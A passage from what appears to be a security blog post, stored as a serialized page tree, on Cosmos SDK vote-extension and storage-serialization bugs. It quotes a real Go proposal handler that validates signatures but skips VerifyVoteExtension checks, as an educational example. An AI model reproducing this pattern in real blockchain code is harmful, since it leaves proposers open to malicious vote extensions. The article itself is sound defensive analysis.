VerifyVoteExtension call if the vote was issued by this validator.\n",{"type":23,"tag":230,"props":85652,"children":85653},{"class":232,"line":4526},[85654],{"type":23,"tag":230,"props":85655,"children":85656},{"style":268},[85657],{"type":29,"value":84297},{"type":23,"tag":230,"props":85659,"children":85660},{"class":232,"line":4534},[85661,85665,85669,85673,85677,85682,85686,85690,85694,85699,85703,85708,85712,85716],{"type":23,"tag":230,"props":85662,"children":85663},{"style":262},[85664],{"type":29,"value":84115},{"type":23,"tag":230,"props":85666,"children":85667},{"style":268},[85668],{"type":29,"value":78195},{"type":23,"tag":230,"props":85670,"children":85671},{"style":262},[85672],{"type":29,"value":85275},{"type":23,"tag":230,"props":85674,"children":85675},{"style":274},[85676],{"type":29,"value":312},{"type":23,"tag":230,"props":85678,"children":85679},{"style":262},[85680],{"type":29,"value":85681},"blockExec",{"type":23,"tag":230,"props":85683,"children":85684},{"style":274},[85685],{"type":29,"value":312},{"type":23,"tag":230,"props":85687,"children":85688},{"style":294},[85689],{"type":29,"value":84943},{"type":23,"tag":230,"props":85691,"children":85692},{"style":274},[85693],{"type":29,"value":302},{"type":23,"tag":230,"props":85695,"children":85696},{"style":262},[85697],{"type":29,"value":85698},"context",{"type":23,"tag":230,"props":85700,"children":85701},{"style":274},[85702],{"type":29,"value":312},{"type":23,"tag":230,"props":85704,"children":85705},{"style":294},[85706],{"type":29,"value":85707},"TODO",{"type":23,"tag":230,"props":85709,"children":85710},{"style":274},[85711],{"type":29,"value":1172},{"type":23,"tag":230,"props":85713,"children":85714},{"style":262},[85715],{"type":29,"value":85138},{"type":23,"tag":230,"props":85717,"children":85718},{"style":274},[85719],{"type":29,"value":4516},{"type":23,"tag":230,"props":85721,"children":85722},{"class":232,"line":4542},[85723],{"type":23,"tag":230,"props":85724,"children":85725},{"style":268},[85726],{"type":29,"value":84297},{"type":23,"tag":230,"props":85728,"children":85729},{"class":232,"line":4559},[85730],{"type":23,"tag":230,"props":85731,"children":85732},{"style":274},[85733],{"type":29,"value":5686},{"type":23,"tag":230,"props":85735,"children":85736},{"class":232,"line":4587},[85737,85741,85745,85749],{"type":23,"tag":230,"props":85738,"children":85739},{"style":274},[85740],{"type":29,"value":18103},{"type":23,"tag":230,"props":85742,"children":85743},{"style":866},[85744],{"type":29,"value":5654},{"type":23,"tag":230,"props":85746,"children":85747},{"style":866},[85748],{"type":29,"value":18112},{"type":23,"tag":230,"props":85750,"children":85751},{"style":274},[85752],{"type":29,"value":277},{"type":23,"tag":230,"props":85754,"children":85755},{"class":232,"line":4595},[85756],{"type":23,"tag":230,"props":85757,"children":85758},{"style":268},[85759],{"type":29,"value":83621},{"type":23,"tag":230,"props":85761,"children":85762},{"class":232,"line":4619},[85763],{"type":23,"tag":230,"props":85764,"children":85765},{"style":274},[85766],{"type":29,"value":1552},{"type":23,"tag":230,"props":85768,"children":85769},{"class":232,"line":4627},[85770],{"type":23,"tag":230,"props":85771,"children":85772},{"style":268},[85773],{"type":29,"value":22654},{"type":23,"tag":230,"props":85775,"children":85776},{"class":232,"line":4659},[85777],{"type":23,"tag":230,"props":85778,"children":85779},{"style":274},[85780],{"type":29,"value":975},{"type":23,"tag":32,"props":85782,"children":85783},{},[85784],{"type":29,"value":85785},"If developers are not aware of the subtle details regarding vote extension handling in CometBTF, it is quite easy to overlook implementing protections against these attacks.",{"type":23,"tag":59,"props":85787,"children":85789},{"id":85788},"real-world-examples-4",[85790],{"type":29,"value":78468},{"type":23,"tag":32,"props":85792,"children":85793},{},[85794,85796,85801,85803,85809,85811,85817],{"type":29,"value":85795},"An example of the bug we just described is shown here. ",{"type":23,"tag":71,"props":85797,"children":85799},{"className":85798},[],[85800],{"type":29,"value":84922},{"type":29,"value":85802}," only checks that each vote is properly signed by a validator in ",{"type":23,"tag":71,"props":85804,"children":85806},{"className":85805},[],[85807],{"type":29,"value":85808},"ValidateVoteExtension",{"type":29,"value":85810}," but does not verify it against the rules in ",{"type":23,"tag":71,"props":85812,"children":85814},{"className":85813},[],[85815],{"type":29,"value":85816},"VerifyVoteExtention.",{"type":29,"value":85818}," Therefore leaving the leader vulnerable to accepting malicious vote extensions in their proposals.",{"type":23,"tag":32,"props":85820,"children":85821},{},[85822],{"type":23,"tag":181,"props":85823,"children":85826},{"href":85824,"rel":85825},"https://github.com/sedaprotocol/seda-chain/blob/66c1b593fa81c7d443ab5fa82757b45e68597f49/app/abci/handlers.go#L180",[185],[85827],{"type":29,"value":78518},{"type":23,"tag":220,"props":85829,"children":85831},{"code":85830,"language":77943,"meta":7,"className":77944,"style":7},"func (h *Handlers) PrepareProposalHandler() sdk.PrepareProposalHandler {\n    return func(ctx sdk.Context, req *abcitypes.RequestPrepareProposal) (*abcitypes.ResponsePrepareProposal, error) {\n        ...\n        var injection []byte\n        if req.Height > ctx.ConsensusParams().Abci.VoteExtensionsEnableHeight && collectSigs {\n            //Fails to verify vote extensions with VerifyVoteExtension rules\n            err := baseapp.ValidateVoteExtensions(ctx, h.stakingKeeper, req.Height, ctx.ChainID(), req.LocalLastCommit)\n            if err != nil {\n                return nil, err\n            }\n            injection, err = json.Marshal(req.LocalLastCommit)\n            if err != nil {\n                h.logger.Error(\"failed to marshal extended votes\", \"err\", err)\n                return nil, err\n            }\n            ...\n        }\n        defaultRes, err := h.defaultPrepareProposal(ctx, req)\n        ...\n        proposalTxs := defaultRes.Txs\n        if injection != nil {\n            proposalTxs = append([][]byte{injection}, proposalTxs...)\n            h.logger.Debug(\"injected local last commit\", \"height\", req.Height)\n        }\n        return &abcitypes.ResponsePrepareProposal{\n            Txs: proposalTxs,\n        }, nil\n    }\n}\n",[85832],{"type":23,"tag":71,"props":85833,"children":85834},{"__ignoreMap":7},[85835,85889,85980,85987,86008,86075,86083,86188,86211,86230,86237,86291,86314,86369,86388,86395,86402,86409,86463,86470,86496,86519,86571,86633,86640,86667,86687,86699,86706],{"type":23,"tag":230,"props":85836,"children":85837},{"class":232,"line":233},[85838,85842,85846,85851,85855,85860,85864,85869,85873,85877,85881,85885],{"type":23,"tag":230,"props":85839,"children":85840},{"style":256},[85841],{"type":29,"value":78079},{"type":23,"tag":230,"props":85843,"children":85844},{"style":274},[85845],{"type":29,"value":664},{"type":23,"tag":230,"props":85847,"children":85848},{"style":262},[85849],{"type":29,"value":85850},"h ",{"type":23,"tag":230,"props":85852,"children":85853},{"style":268},[85854],{"type":29,"value":6909},{"type":23,"tag":230,"props":85856,"children":85857},{"style":676},[85858],{"type":29,"value":85859},"Handlers",{"type":23,"tag":230,"props":85861,"children":85862},{"style":274},[85863],{"type":29,"value":703},{"type":23,"tag":230,"props":85865,"children":85866},{"style":294},[85867],{"type":29,"value":85868},"PrepareProposalHandler",{"type":23,"tag":230,"props":85870,"children":85871},{"style":274},[85872],{"type":29,"value":16370},{"type":23,"tag":230,"props":85874,"children":85875},{"style":676},[85876],{"type":29,"value":80509},{"type":23,"tag":230,"props":85878,"children":85879},{"style":274},[85880],{"type":29,"value":312},{"type":23,"tag":230,"props":85882,"children":85883},{"style":676},[85884],{"type":29,"value":85868},{"type":23,"tag":230,"props":85886,"children":85887},{"style":274},[85888],{"type":29,"value":277},{"type":23,"tag":230,"props":85890,"children":85891},{"class":232,"line":243},[85892,85896,85900,85904,85908,85912,85916,85920,85924,85929,85933,85938,85942,85947,85951,85955,85959,85963,85968,85972,85976],{"type":23,"tag":230,"props":85893,"children":85894},{"style":866},[85895],{"type":29,"value":4427},{"type":23,"tag":230,"props":85897,"children":85898},{"style":256},[85899],{"type":29,"value":81788},{"type":23,"tag":230,"props":85901,"children":85902},{"style":274},[85903],{"type":29,"value":302},{"type":23,"tag":230,"props":85905,"children":85906},{"style":262},[85907],{"type":29,"value":22595},{"type":23,"tag":230,"props":85909,"children":85910},{"style":676},[85911],{"type":29,"value":80420},{"type":23,"tag":230,"props":85913,"children":85914},{"style":274},[85915],{"type":29,"value":312},{"type":23,"tag":230,"props":85917,"children":85918},{"style":676},[85919],{"type":29,"value":78128},{"type":23,"tag":230,"props":85921,"children":85922},{"style":274},[85923],{"type":29,"value":684},{"type":23,"tag":230,"props":85925,"children":85926},{"style":262},[85927],{"type":29,"value":85928},"req",{"type":23,"tag":230,"props":85930,"children":85931},{"style":268},[85932],{"type":29,"value":12147},{"type":23,"tag":230,"props":85934,"children":85935},{"style":676},[85936],{"type":29,"value":85937},"abcitypes",{"type":23,"tag":230,"props":85939,"children":85940},{"style":274},[85941],{"type":29,"value":312},{"type":23,"tag":230,"props":85943,"children":85944},{"style":676},[85945],{"type":29,"value":85946},"RequestPrepareProposal",{"type":23,"tag":230,"props":85948,"children":85949},{"style":274},[85950],{"type":29,"value":78161},{"type":23,"tag":230,"props":85952,"children":85953},{"style":268},[85954],{"type":29,"value":6909},{"type":23,"tag":230,"props":85956,"children":85957},{"style":676},[85958],{"type":29,"value":85937},{"type":23,"tag":230,"props":85960,"children":85961},{"style":274},[85962],{"type":29,"value":312},{"type":23,"tag":230,"props":85964,"children":85965},{"style":676},[85966],{"type":29,"value":85967},"ResponsePrepareProposal",{"type":23,"tag":230,"props":85969,"children":85970},{"style":274},[85971],{"type":29,"value":684},{"type":23,"tag":230,"props":85973,"children":85974},{"style":676},[85975],{"type":29,"value":17189},{"type":23,"tag":230,"props":85977,"children":85978},{"style":274},[85979],{"type":29,"value":827},{"type":23,"tag":230,"props":85981,"children":85982},{"class":232,"line":252},[85983],{"type":23,"tag":230,"props":85984,"children":85985},{"style":268},[85986],{"type":29,"value":83621},{"type":23,"tag":230,"props":85988,"children":85989},{"class":232,"line":280},[85990,85994,85999,86003],{"type":23,"tag":230,"props":85991,"children":85992},{"style":256},[85993],{"type":29,"value":81897},{"type":23,"tag":230,"props":85995,"children":85996},{"style":262},[85997],{"type":29,"value":85998}," injection",{"type":23,"tag":230,"props":86000,"children":86001},{"style":274},[86002],{"type":29,"value":78006},{"type":23,"tag":230,"props":86004,"children":86005},{"style":676},[86006],{"type":29,"value":86007},"byte\n",{"type":23,"tag":230,"props":86009,"children":86010},{"class":232,"line":334},[86011,86015,86020,86024,86028,86032,86036,86040,86044,86048,86053,86057,86062,86066,86071],{"type":23,"tag":230,"props":86012,"children":86013},{"style":866},[86014],{"type":29,"value":5611},{"type":23,"tag":230,"props":86016,"children":86017},{"style":262},[86018],{"type":29,"value":86019}," req",{"type":23,"tag":230,"props":86021,"children":86022},{"style":274},[86023],{"type":29,"value":312},{"type":23,"tag":230,"props":86025,"children":86026},{"style":262},[86027],{"type":29,"value":85258},{"type":23,"tag":230,"props":86029,"children":86030},{"style":268},[86031],{"type":29,"value":16521},{"type":23,"tag":230,"props":86033,"children":86034},{"style":262},[86035],{"type":29,"value":28150},{"type":23,"tag":230,"props":86037,"children":86038},{"style":274},[86039],{"type":29,"value":312},{"type":23,"tag":230,"props":86041,"children":86042},{"style":294},[86043],{"type":29,"value":85459},{"type":23,"tag":230,"props":86045,"children":86046},{"style":274},[86047],{"type":29,"value":32475},{"type":23,"tag":230,"props":86049,"children":86050},{"style":262},[86051],{"type":29,"value":86052},"Abci",{"type":23,"tag":230,"props":86054,"children":86055},{"style":274},[86056],{"type":29,"value":312},{"type":23,"tag":230,"props":86058,"children":86059},{"style":262},[86060],{"type":29,"value":86061},"VoteExtensionsEnableHeight",{"type":23,"tag":230,"props":86063,"children":86064},{"style":268},[86065],{"type":29,"value":16512},{"type":23,"tag":230,"props":86067,"children":86068},{"style":262},[86069],{"type":29,"value":86070}," collectSigs",{"type":23,"tag":230,"props":86072,"children":86073},{"style":274},[86074],{"type":29,"value":277},{"type":23,"tag":230,"props":86076,"children":86077},{"class":232,"line":371},[86078],{"type":23,"tag":230,"props":86079,"children":86080},{"style":237},[86081],{"type":29,"value":86082},"            //Fails to verify vote extensions with VerifyVoteExtension rules\n",{"type":23,"tag":230,"props":86084,"children":86085},{"class":232,"line":391},[86086,86090,86094,86099,86103,86108,86112,86116,86120,86125,86129,86134,86138,86142,86146,86150,86154,86158,86162,86167,86171,86175,86179,86184],{"type":23,"tag":230,"props":86087,"children":86088},{"style":262},[86089],{"type":29,"value":84115},{"type":23,"tag":230,"props":86091,"children":86092},{"style":268},[86093],{"type":29,"value":78195},{"type":23,"tag":230,"props":86095,"children":86096},{"style":262},[86097],{"type":29,"value":86098}," baseapp",{"type":23,"tag":230,"props":86100,"children":86101},{"style":274},[86102],{"type":29,"value":312},{"type":23,"tag":230,"props":86104,"children":86105},{"style":294},[86106],{"type":29,"value":86107},"ValidateVoteExtensions",{"type":23,"tag":230,"props":86109,"children":86110},{"style":274},[86111],{"type":29,"value":302},{"type":23,"tag":230,"props":86113,"children":86114},{"style":262},[86115],{"type":29,"value":22595},{"type":23,"tag":230,"props":86117,"children":86118},{"style":274},[86119],{"type":29,"value":684},{"type":23,"tag":230,"props":86121,"children":86122},{"style":262},[86123],{"type":29,"value":86124},"h",{"type":23,"tag":230,"props":86126,"children":86127},{"style":274},[86128],{"type":29,"value":312},{"type":23,"tag":230,"props":86130,"children":86131},{"style":262},[86132],{"type":29,"value":86133},"stakingKeeper",{"type":23,"tag":230,"props":86135,"children":86136},{"style":274},[86137],{"type":29,"value":684},{"type":23,"tag":230,"props":86139,"children":86140},{"style":262},[86141],{"type":29,"value":85928},{"type":23,"tag":230,"props":86143,"children":86144},{"style":274},[86145],{"type":29,"value":312},{"type":23,"tag":230,"props":86147,"children":86148},{"style":262},[86149],{"type":29,"value":85258},{"type":23,"tag":230,"props":86151,"children":86152},{"style":274},[86153],{"type":29,"value":684},{"type":23,"tag":230,"props":86155,"children":86156},{"style":262},[86157],{"type":29,"value":22595},{"type":23,"tag":230,"props":86159,"children":86160},{"style":274},[86161],{"type":29,"value":312},{"type":23,"tag":230,"props":86163,"children":86164},{"style":294},[86165],{"type":29,"value":86166},"ChainID",{"type":23,"tag":230,"props":86168,"children":86169},{"style":274},[86170],{"type":29,"value":1172},{"type":23,"tag":230,"props":86172,"children":86173},{"style":262},[86174],{"type":29,"value":85928},{"type":23,"tag":230,"props":86176,"children":86177},{"style":274},[86178],{"type":29,"value":312},{"type":23,"tag":230,"props":86180,"children":86181},{"style":262},[86182],{"type":29,"value":86183},"LocalLastCommit",{"type":23,"tag":230,"props":86185,"children":86186},{"style":274},[86187],{"type":29,"value":4516},{"type":23,"tag":230,"props":86189,"children":86190},{"class":232,"line":400},[86191,86195,86199,86203,86207],{"type":23,"tag":230,"props":86192,"children":86193},{"style":866},[86194],{"type":29,"value":60575},{"type":23,"tag":230,"props":86196,"children":86197},{"style":262},[86198],{"type":29,"value":50293},{"type":23,"tag":230,"props":86200,"children":86201},{"style":268},[86202],{"type":29,"value":66162},{"type":23,"tag":230,"props":86204,"children":86205},{"style":256},[86206],{"type":29,"value":83697},{"type":23,"tag":230,"props":86208,"children":86209},{"style":274},[86210],{"type":29,"value":277},{"type":23,"tag":230,"props":86212,"children":86213},{"class":232,"line":444},[86214,86218,86222,86226],{"type":23,"tag":230,"props":86215,"children":86216},{"style":866},[86217],{"type":29,"value":62503},{"type":23,"tag":230,"props":86219,"children":86220},{"style":256},[86221],{"type":29,"value":83697},{"type":23,"tag":230,"props":86223,"children":86224},{"style":274},[86225],{"type":29,"value":684},{"type":23,"tag":230,"props":86227,"children":86228},{"style":262},[86229],{"type":29,"value":85418},{"type":23,"tag":230,"props":86231,"children":86232},{"class":232,"line":453},[86233],{"type":23,"tag":230,"props":86234,"children":86235},{"style":274},[86236],{"type":29,"value":60659},{"type":23,"tag":230,"props":86238,"children":86239},{"class":232,"line":462},[86240,86245,86249,86253,86257,86262,86266,86271,86275,86279,86283,86287],{"type":23,"tag":230,"props":86241,"children":86242},{"style":262},[86243],{"type":29,"value":86244},"            injection",{"type":23,"tag":230,"props":86246,"children":86247},{"style":274},[86248],{"type":29,"value":684},{"type":23,"tag":230,"props":86250,"children":86251},{"style":262},[86252],{"type":29,"value":50192},{"type":23,"tag":230,"props":86254,"children":86255},{"style":268},[86256],{"type":29,"value":271},{"type":23,"tag":230,"props":86258,"children":86259},{"style":262},[86260],{"type":29,"value":86261}," json",{"type":23,"tag":230,"props":86263,"children":86264},{"style":274},[86265],{"type":29,"value":312},{"type":23,"tag":230,"props":86267,"children":86268},{"style":294},[86269],{"type":29,"value":86270},"Marshal",{"type":23,"tag":230,"props":86272,"children":86273},{"style":274},[86274],{"type":29,"value":302},{"type":23,"tag":230,"props":86276,"children":86277},{"style":262},[86278],{"type":29,"value":85928},{"type":23,"tag":230,"props":86280,"children":86281},{"style":274},[86282],{"type":29,"value":312},{"type":23,"tag":230,"props":86284,"children":86285},{"style":262},[86286],{"type":29,"value":86183},{"type":23,"tag":230,"props":86288,"children":86289},{"style":274},[86290],{"type":29,"value":4516},{"type":23,"tag":230,"props":86292,"children":86293},{"class":232,"line":471},[86294,86298,86302,86306,86310],{"type":23,"tag":230,"props":86295,"children":86296},{"style":866},[86297],{"type":29,"value":60575},{"type":23,"tag":230,"props":86299,"children":86300},{"style":262},[86301],{"type":29,"value":50293},{"type":23,"tag":230,"props":86303,"children":86304},{"style":268},[86305],{"type":29,"value":66162},{"type":23,"tag":230,"props":86307,"children":86308},{"style":256},[86309],{"type":29,"value":83697},{"type":23,"tag":230,"props":86311,"children":86312},{"style":274},[86313],{"type":29,"value":277},{"type":23,"tag":230,"props":86315,"children":86316},{"class":232,"line":500},[86317,86322,86326,86331,86335,86339,86343,86348,86352,86357,86361,86365],{"type":23,"tag":230,"props":86318,"children":86319},{"style":262},[86320],{"type":29,"value":86321},"                h",{"type":23,"tag":230,"props":86323,"children":86324},{"style":274},[86325],{"type":29,"value":312},{"type":23,"tag":230,"props":86327,"children":86328},{"style":262},[86329],{"type":29,"value":86330},"logger",{"type":23,"tag":230,"props":86332,"children":86333},{"style":274},[86334],{"type":29,"value":312},{"type":23,"tag":230,"props":86336,"children":86337},{"style":294},[86338],{"type":29,"value":2075},{"type":23,"tag":230,"props":86340,"children":86341},{"style":274},[86342],{"type":29,"value":302},{"type":23,"tag":230,"props":86344,"children":86345},{"style":380},[86346],{"type":29,"value":86347},"\"failed to marshal extended votes\"",{"type":23,"tag":230,"props":86349,"children":86350},{"style":274},[86351],{"type":29,"value":684},{"type":23,"tag":230,"props":86353,"children":86354},{"style":380},[86355],{"type":29,"value":86356},"\"err\"",{"type":23,"tag":230,"props":86358,"children":86359},{"style":274},[86360],{"type":29,"value":684},{"type":23,"tag":230,"props":86362,"children":86363},{"style":262},[86364],{"type":29,"value":50192},{"type":23,"tag":230,"props":86366,"children":86367},{"style":274},[86368],{"type":29,"value":4516},{"type":23,"tag":230,"props":86370,"children":86371},{"class":232,"line":514},[86372,86376,86380,86384],{"type":23,"tag":230,"props":86373,"children":86374},{"style":866},[86375],{"type":29,"value":62503},{"type":23,"tag":230,"props":86377,"children":86378},{"style":256},[86379],{"type":29,"value":83697},{"type":23,"tag":230,"props":86381,"children":86382},{"style":274},[86383],{"type":29,"value":684},{"type":23,"tag":230,"props":86385,"children":86386},{"style":262},[86387],{"type":29,"value":85418},{"type":23,"tag":230,"props":86389,"children":86390},{"class":232,"line":897},[86391],{"type":23,"tag":230,"props":86392,"children":86393},{"style":274},[86394],{"type":29,"value":60659},{"type":23,"tag":230,"props":86396,"children":86397},{"class":232,"line":960},[86398],{"type":23,"tag":230,"props":86399,"children":86400},{"style":268},[86401],{"type":29,"value":84297},{"type":23,"tag":230,"props":86403,"children":86404},{"class":232,"line":969},[86405],{"type":23,"tag":230,"props":86406,"children":86407},{"style":274},[86408],{"type":29,"value":5686},{"type":23,"tag":230,"props":86410,"children":86411},{"class":232,"line":4526},[86412,86417,86421,86425,86429,86434,86438,86443,86447,86451,86455,86459],{"type":23,"tag":230,"props":86413,"children":86414},{"style":262},[86415],{"type":29,"value":86416},"        defaultRes",{"type":23,"tag":230,"props":86418,"children":86419},{"style":274},[86420],{"type":29,"value":684},{"type":23,"tag":230,"props":86422,"children":86423},{"style":262},[86424],{"type":29,"value":50192},{"type":23,"tag":230,"props":86426,"children":86427},{"style":268},[86428],{"type":29,"value":78195},{"type":23,"tag":230,"props":86430,"children":86431},{"style":262},[86432],{"type":29,"value":86433}," h",{"type":23,"tag":230,"props":86435,"children":86436},{"style":274},[86437],{"type":29,"value":312},{"type":23,"tag":230,"props":86439,"children":86440},{"style":294},[86441],{"type":29,"value":86442},"defaultPrepareProposal",{"type":23,"tag":230,"props":86444,"children":86445},{"style":274},[86446],{"type":29,"value":302},{"type":23,"tag":230,"props":86448,"children":86449},{"style":262},[86450],{"type":29,"value":22595},{"type":23,"tag":230,"props":86452,"children":86453},{"style":274},[86454],{"type":29,"value":684},{"type":23,"tag":230,"props":86456,"children":86457},{"style":262},[86458],{"type":29,"value":85928},{"type":23,"tag":230,"props":86460,"children":86461},{"style":274},[86462],{"type":29,"value":4516},{"type":23,"tag":230,"props":86464,"children":86465},{"class":232,"line":4534},[86466],{"type":23,"tag":230,"props":86467,"children":86468},{"style":268},[86469],{"type":29,"value":83621},{"type":23,"tag":230,"props":86471,"children":86472},{"class":232,"line":4542},[86473,86478,86482,86487,86491],{"type":23,"tag":230,"props":86474,"children":86475},{"style":262},[86476],{"type":29,"value":86477},"        proposalTxs",{"type":23,"tag":230,"props":86479,"children":86480},{"style":268},[86481],{"type":29,"value":78195},{"type":23,"tag":230,"props":86483,"children":86484},{"style":262},[86485],{"type":29,"value":86486}," defaultRes",{"type":23,"tag":230,"props":86488,"children":86489},{"style":274},[86490],{"type":29,"value":312},{"type":23,"tag":230,"props":86492,"children":86493},{"style":262},[86494],{"type":29,"value":86495},"Txs\n",{"type":23,"tag":230,"props":86497,"children":86498},{"class":232,"line":4559},[86499,86503,86507,86511,86515],{"type":23,"tag":230,"props":86500,"children":86501},{"style":866},[86502],{"type":29,"value":5611},{"type":23,"tag":230,"props":86504,"children":86505},{"style":262},[86506],{"type":29,"value":85998},{"type":23,"tag":230,"props":86508,"children":86509},{"style":268},[86510],{"type":29,"value":66162},{"type":23,"tag":230,"props":86512,"children":86513},{"style":256},[86514],{"type":29,"value":83697},{"type":23,"tag":230,"props":86516,"children":86517},{"style":274},[86518],{"type":29,"value":277},{"type":23,"tag":230,"props":86520,"children":86521},{"class":232,"line":4587},[86522,86527,86531,86535,86540,86545,86549,86554,86558,86563,86567],{"type":23,"tag":230,"props":86523,"children":86524},{"style":262},[86525],{"type":29,"value":86526},"            proposalTxs",{"type":23,"tag":230,"props":86528,"children":86529},{"style":268},[86530],{"type":29,"value":271},{"type":23,"tag":230,"props":86532,"children":86533},{"style":294},[86534],{"type":29,"value":79475},{"type":23,"tag":230,"props":86536,"children":86537},{"style":274},[86538],{"type":29,"value":86539},"([][]",{"type":23,"tag":230,"props":86541,"children":86542},{"style":676},[86543],{"type":29,"value":86544},"byte",{"type":23,"tag":230,"props":86546,"children":86547},{"style":274},[86548],{"type":29,"value":78397},{"type":23,"tag":230,"props":86550,"children":86551},{"style":262},[86552],{"type":29,"value":86553},"injection",{"type":23,"tag":230,"props":86555,"children":86556},{"style":274},[86557],{"type":29,"value":78416},{"type":23,"tag":230,"props":86559,"children":86560},{"style":262},[86561],{"type":29,"value":86562},"proposalTxs",{"type":23,"tag":230,"props":86564,"children":86565},{"style":268},[86566],{"type":29,"value":11922},{"type":23,"tag":230,"props":86568,"children":86569},{"style":274},[86570],{"type":29,"value":4516},{"type":23,"tag":230,"props":86572,"children":86573},{"class":232,"line":4595},[86574,86579,86583,86587,86591,86595,86599,86604,86608,86613,86617,86621,86625,86629],{"type":23,"tag":230,"props":86575,"children":86576},{"style":262},[86577],{"type":29,"value":86578},"            h",{"type":23,"tag":230,"props":86580,"children":86581},{"style":274},[86582],{"type":29,"value":312},{"type":23,"tag":230,"props":86584,"children":86585},{"style":262},[86586],{"type":29,"value":86330},{"type":23,"tag":230,"props":86588,"children":86589},{"style":274},[86590],{"type":29,"value":312},{"type":23,"tag":230,"props":86592,"children":86593},{"style":294},[86594],{"type":29,"value":27017},{"type":23,"tag":230,"props":86596,"children":86597},{"style":274},[86598],{"type":29,"value":302},{"type":23,"tag":230,"props":86600,"children":86601},{"style":380},[86602],{"type":29,"value":86603},"\"injected local last commit\"",{"type":23,"tag":230,"props":86605,"children":86606},{"style":274},[86607],{"type":29,"value":684},{"type":23,"tag":230,"props":86609,"children":86610},{"style":380},[86611],{"type":29,"value":86612},"\"height\"",{"type":23,"tag":230,"props":86614,"children":86615},{"style":274},[86616],{"type":29,"value":684},{"type":23,"tag":230,"props":86618,"children":86619},{"style":262},[86620],{"type":29,"value":85928},{"type":23,"tag":230,"props":86622,"children":86623},{"style":274},[86624],{"type":29,"value":312},{"type":23,"tag":230,"props":86626,"children":86627},{"style":262},[86628],{"type":29,"value":85258},{"type":23,"tag":230,"props":86630,"children":86631},{"style":274},[86632],{"type":29,"value":4516},{"type":23,"tag":230,"props":86634,"children":86635},{"class":232,"line":4619},[86636],{"type":23,"tag":230,"props":86637,"children":86638},{"style":274},[86639],{"type":29,"value":5686},{"type":23,"tag":230,"props":86641,"children":86642},{"class":232,"line":4627},[86643,86647,86651,86655,86659,86663],{"type":23,"tag":230,"props":86644,"children":86645},{"style":866},[86646],{"type":29,"value":3554},{"type":23,"tag":230,"props":86648,"children":86649},{"style":268},[86650],{"type":29,"value":9477},{"type":23,"tag":230,"props":86652,"children":86653},{"style":676},[86654],{"type":29,"value":85937},{"type":23,"tag":230,"props":86656,"children":86657},{"style":274},[86658],{"type":29,"value":312},{"type":23,"tag":230,"props":86660,"children":86661},{"style":676},[86662],{"type":29,"value":85967},{"type":23,"tag":230,"props":86664,"children":86665},{"style":274},[86666],{"type":29,"value":13211},{"type":23,"tag":230,"props":86668,"children":86669},{"class":232,"line":4659},[86670,86675,86679,86683],{"type":23,"tag":230,"props":86671,"children":86672},{"style":262},[86673],{"type":29,"value":86674},"            Txs",{"type":23,"tag":230,"props":86676,"children":86677},{"style":274},[86678],{"type":29,"value":817},{"type":23,"tag":230,"props":86680,"children":86681},{"style":262},[86682],{"type":29,"value":86562},{"type":23,"tag":230,"props":86684,"children":86685},{"style":274},[86686],{"type":29,"value":388},{"type":23,"tag":230,"props":86688,"children":86689},{"class":232,"line":4671},[86690,86695],{"type":23,"tag":230,"props":86691,"children":86692},{"style":274},[86693],{"type":29,"value":86694},"        }, ",{"type":23,"tag":230,"props":86696,"children":86697},{"style":256},[86698],{"type":29,"value":78421},{"type":23,"tag":230,"props":86700,"children":86701},{"class":232,"line":4688},[86702],{"type":23,"tag":230,"props":86703,"children":86704},{"style":274},[86705],{"type":29,"value":1552},{"type":23,"tag":230,"props":86707,"children":86708},{"class":232,"line":4701},[86709],{"type":23,"tag":230,"props":86710,"children":86711},{"style":274},[86712],{"type":29,"value":975},{"type":23,"tag":32,"props":86714,"children":86715},{},[86716,86718,86723,86724,86729,86731,86738],{"type":29,"value":86717},"Aside from the more complex variant, pure validation mismatches are also still prevalent despite being a well-known attack surface. This stems from ",{"type":23,"tag":71,"props":86719,"children":86721},{"className":86720},[],[86722],{"type":29,"value":85087},{"type":29,"value":664},{"type":23,"tag":71,"props":86725,"children":86727},{"className":86726},[],[86728],{"type":29,"value":85155},{"type":29,"value":86730},") rejections by various obscure checks hidden within CometBTF. For example, this commit fixes a bug where ",{"type":23,"tag":181,"props":86732,"children":86735},{"href":86733,"rel":86734},"https://github.com/babylonlabs-io/babylon/commit/aa827f875a16ebf85efee5d9a6c8c4e76dbfb7bd#diff-77659089b31367690393a968f4bfacfd1bf960ed300965729df216a6fb612699",[185],[86736],{"type":29,"value":86737},"PrepareProposal may return a Proposal larger than MaxTxBytes",{"type":29,"value":86739},", which will later get rejected by CometBTF.",{"type":23,"tag":24,"props":86741,"children":86743},{"id":86742},"the-keymaker",[86744],{"type":29,"value":86745},"The Keymaker",{"type":23,"tag":32,"props":86747,"children":86748},{},[86749,86751,86757,86759,86764],{"type":29,"value":86750},"States (persistent storage) are another crucial component in state machines. Cosmos relies on a custom key-value storage called",{"type":23,"tag":71,"props":86752,"children":86754},{"className":86753},[],[86755],{"type":29,"value":86756},"KVStore",{"type":29,"value":86758}," to handle states efficently. In ",{"type":23,"tag":71,"props":86760,"children":86762},{"className":86761},[],[86763],{"type":29,"value":86756},{"type":29,"value":86765},", keys and values are both represented as simple byte slices, requiring developers to handle serialization and deserialization of more intricate structures when working with storage.",{"type":23,"tag":32,"props":86767,"children":86768},{},[86769],{"type":29,"value":86770},"The complexity behind proper data serialization often results in flawed code and security vulnerabilities. Below, we showcase relatively simple (but buggy) implementations and progressively address and mitigate the issues until the code is deemed safe from exploits.",{"type":23,"tag":32,"props":86772,"children":86773},{},[86774,86776,86782],{"type":29,"value":86775},"Let's start by considering a scenario where we need to store the ",{"type":23,"tag":71,"props":86777,"children":86779},{"className":86778},[],[86780],{"type":29,"value":86781},"positionMap",{"type":29,"value":86783}," structure mentioned below into storage.",{"type":23,"tag":220,"props":86785,"children":86787},{"code":86786,"language":77943,"meta":7,"className":77944,"style":7},"type VaultId uint64\ntype Username string\ntype PositionName string\ntype Position struct {\n    data []byte\n}\ntype PositionMap :=\n    map[VaultId]map[Username]map[PositionName]Position\n",[86788],{"type":23,"tag":71,"props":86789,"children":86790},{"__ignoreMap":7},[86791,86807,86824,86840,86859,86874,86881,86898],{"type":23,"tag":230,"props":86792,"children":86793},{"class":232,"line":233},[86794,86798,86803],{"type":23,"tag":230,"props":86795,"children":86796},{"style":256},[86797],{"type":29,"value":35049},{"type":23,"tag":230,"props":86799,"children":86800},{"style":676},[86801],{"type":29,"value":86802}," 